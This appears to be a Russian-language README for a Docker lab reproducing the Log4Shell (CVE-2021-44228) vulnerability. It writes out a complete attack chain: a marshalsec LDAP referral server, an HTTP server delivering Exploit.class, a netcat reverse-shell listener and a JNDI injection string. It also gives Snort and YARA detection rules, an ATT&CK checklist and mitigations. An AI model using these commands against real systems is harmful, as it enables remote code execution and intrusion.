**Log4Shell PoC — это высокоточная среда эксплуатации, предназначенная для воспроизведения уязвимости CVE-2021-44228.** Она предоставляет контейнерную песочницу для демонстрации JNDI-инъекций, перенаправления LDAP/RMI и удаленного выполнения кода (RCE) через библиотеку Log4j 2.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ ДОКАЗАТЕЛЬСТВО КОНЦЕПЦИИ И JNDI ЭКСПЛУАТАЦИЯ ]
Log4Shell PoC — это высокоточная среда эксплуатации, разработанная для воспроизведения уязвимости CVE-2021-44228. Она предоставляет изолированную песочницу для демонстрации JNDI-инъекции, перенаправления через LDAP/RMI-рефералы и удалённого выполнения кода (RCE) через библиотеку Log4j 2.
Только для образовательных целей и авторизованного тестирования безопасности.
Использование этого доказательства концепции для атак на цели без предварительного взаимного согласия является незаконным. Конечный пользователь несёт ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Авторы не несут никакой ответственности и не отвечают за потерю данных, повреждение системы, юридические последствия или неправомерное использование, вызванное этой программой. Используя данное программное обеспечение, вы соглашаетесь действовать в рамках правовых границ вашей юрисдикции.
Сторона атакующего состоит из трёх различных каналов для реализации PoC.
Exploit.class для загрузки и выполнения жертвой.Docker-контейнер с OpenJDK 8, работающий с уязвимой реализацией Log4j.
Вкладка 1: LDAP-реферальный сервер
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Вкладка 2: Доставка HTTP-полезной нагрузки
# Запустите Python-сервер в каталоге, содержащем Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Вкладка 3: Netcat-слушатель
nc -lvnp 9001
Вкладка 4: Запуск уязвимого контейнера
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
Внутри контейнера: Запуск PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Фаза | Техника | Сработал ли сигнал? | MITRE ATT&CK |
|---|---|---|---|
| Начальный доступ | Эксплуатация общедоступного приложения | [ ] | T1190 |
| Выполнение | Командный и скриптовый интерпретатор | [ ] | T1059 |
| Командование и управление | Протокол прикладного уровня (LDAP) | [ ] | T1071.003 |
| Exfiltration | Неприкладной протокол | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true для отключения подстановок.JndiLookup.class из JAR-файла log4j-core.172.17.0.0/16).